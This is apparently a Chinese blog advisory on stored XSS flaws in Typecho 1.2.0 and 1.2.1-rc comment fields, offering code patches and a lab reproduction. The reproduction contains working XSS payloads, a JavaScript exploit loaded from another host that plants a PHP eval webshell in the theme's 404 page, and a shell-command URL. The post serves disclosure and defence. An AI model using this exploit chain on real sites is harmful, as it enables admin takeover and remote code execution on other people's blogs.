【紧急修复!!!】Typecho 1.2.0  和开发版1.2.1存在存储型XSS漏洞

【紧急修复!!!】Typecho 1.2.0 和开发版1.2.1存在存储型XSS漏洞

耀鳞光翼 Lv3

情况介绍:

今年4月初,有人发现Typecho1.2.0存在前端评论存储型XSS漏洞,配合恶意加载的JS,可以实现前端直接盗取到管理员权限,并登录后台,对模板文件,附件等进行修改,进一步拿shell,不少博主已经遭遇此类攻击。
同年4月,又有开发者发现最新版的typecho1.2.1-rc中,依然存在评论存储型XSS漏洞,如果配合相同的恶意JS文件,还是可以做到前端获取管理员权限。

解决办法:

先说最关心的解决办法:

  • typecho=1.2.0
    对于版本<=1.2.0的用户,尽快升级到1.2.1-rc,虽然目前这个版本也存在类似的漏洞,但开发者修复了1.2.0的大量其他bug,安全性和稳定性整体有所提高。
  • typecho=1.2.1-rc
    目前处于这个版本的用户,由于官方暂未给出修复补丁或者更新版本,比较稳妥的办法是先关闭全站评论。因为这两次的漏洞均发生在评论功能处。但如果有些用户由于业务的原因,不能关闭评论,可以暂时使用以下缓解措施。
  1. 打开网站目录下的文件var/Typecho/Validate.php
  2. 找到验证邮箱的部分代码块Valid Email部分,将return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;这句代码更换使用正则表达式过滤邮箱return preg_match("/^[A-Za-z0-9]+([_\.][A-Za-z0-9]+)*@([A-Za-z0-9\-]+\.)+[A-Za-z]{2,6}$/",$str) === 1;
    更换后的部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Valid Email
*
* @access public
*
* @param string $str
*
* @return boolean
*/
public static function email(string $str): bool
{
return preg_match("/^[A-Za-z0-9]+([_\.][A-Za-z0-9]+)*@([A-Za-z0-9\-]+\.)+[A-Za-z]{2,6}$/",$str) === 1;
}

注意,这个方法目前仅仅是缓解措施,由其他用户提出,并且只针对邮箱进行过滤,安全性不一定能够完全保证。

  • 一次性同时解决两个版本的XSS漏洞方式:
    [alt type=”info”]这个方案是我在其他博主那里看到的,自己暂未测试过,也分享出来吧,方便一些不能升级版本的用户暂时缓解危害[/alt]

转自于Sh1zuku的小屋

修改var/Typecho/Validate.php 99行处return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;为:

1
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);

修改var/Typecho/Validate.php 113行大括号后增加:

1
2
3
4
5
6
7
$parts = parse_url($str);
if (!$parts) {
return false;
}
return isset($parts['scheme']) &&
in_array($parts['scheme'], ['http', 'https']) &&
!preg_match('/(\(|\)|\\\|"|<|>|[\x00-\x08]|[\x0b-\x0c]|[\x0e-\x19])/', $str);

删除或注释原有的return语句。
修改var/Widget/Base/Comments.php 271行为:

1
echo '<a href="' . Common::safeUrl($this->url) . '"'

修改var/Widget/Feedback.php 209行为:

1
$comment['url'] = $this->request->filter('trim', 'url')->url;

修改var/Widget/Feedback.php 308行为:

1
$comment['url'] = $this->request->filter('trim', 'url')->url;

修改var/Widget/Options.php 85行为:

1
* @property bool $commentsRequireUrl 

漏洞原理

接下来是两次的漏洞原理分析和验证(本文所有的验证均在局域网内,使用虚拟靶场验证,并未造成任何危害)

Typecho=1.2.0

演示版本:

1.2.0后台页面
1.2.0后台页面

对于1.2.0,两次的漏洞均受到影响。漏洞发生在用户评论区,填写评论时可以选填的“网址”处。
在提交评论时候,如果在网址处插入XSS测试代码http://xxx.xxx.com/"></a><script>alert("XSS")</script><a/href="#后,提交评论就会立即触发,前台页面用户访问触发,管理员后台查看评论也会立即触。
评论提交页面:
提交页面
提交页面

前台用户访问触发:
前台触发
前台触发

后台管理员登录查看评论触发:
后台触发
后台触发

数据库写入:
数据库写入
数据库写入

利用这点就可以盗取管理员cookie,从而获取管理员权限。或者像如下所写,加载JS获取完全控制权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function step1(){
var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
var oldata=document.body.innerHTML;
document.body.innerHTML=(oldata+data2);
}

var times=0;
var g_shell=0;
function poc(){
if(times<=10){
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
olddatas=htmldata.innerText;
htmldata.innerText=('<?php @eval($_GET["cookie"])?>\n')+olddatas;
btn[1].click();
times+=1;
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/default/404.php?shell=1');
xhr1.send();
}
else{
return 0;
}
}
}
step1();

将这段JS部署在其他web服务器上(假设部署在192.168.3.10的web服务器根目录下,命名为rce.js)
然后将上文提到的XSS代码修改为

1
http://xxx.xxx.com/"></a><script/src=http://192.168.3.10/rce.js></script><a/href="#

进行提交后,网站将会立即对这段JS访问,但由于访客权限不足以修改404页面,待到管理去查看评论的时候,将会获取到管理员权限,同时在当前主题下的404页面写入php一句话木马。
接下来就可以拿到shell进行命令执行http://192.168.44.140/usr/themes/default/404.php?cookie=命令
拿到shell后执行的命令

命令
命令

这里我借用了一下微信公号“饼干社区”的复现截图,自己测试的时候,这一步的截图忘记截了。

Typecho=1.2.1-rc

这个版本存在的存储型XSS漏洞在用户评论的填写邮箱处,好在这个漏洞无法像上一个直接前端页面填写绕过并触发,有一定的校验,但可以通过抓取评论发送包,修改包内的参数,达成攻击。
同样,我们先正常提交一次评论,并对提交评论抓包,将参数mail的内容替换为XSS测试代码"></a><script>alert('hacked')</script>"@example.com

邮箱攻击
邮箱攻击

评论提交后,前台依然可以看到XSS被触发,并且后台管理员登录查看评论页面,也可以看到XSS被触发并写入:
触发
触发

写入
写入

存储型的XSS与上述的网址处是属于同一类,也可以配合JS后续拿到shell。

  • 标题: 【紧急修复!!!】Typecho 1.2.0 和开发版1.2.1存在存储型XSS漏洞
  • 作者: 耀鳞光翼
  • 创建于 : 2023-04-24 14:52:47
  • 更新于 : 2024-11-14 12:36:51
  • 链接: https://blog.lightwing.top/2023/04/24/typecho-vulnerability/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
【紧急修复!!!】Typecho 1.2.0 和开发版1.2.1存在存储型XSS漏洞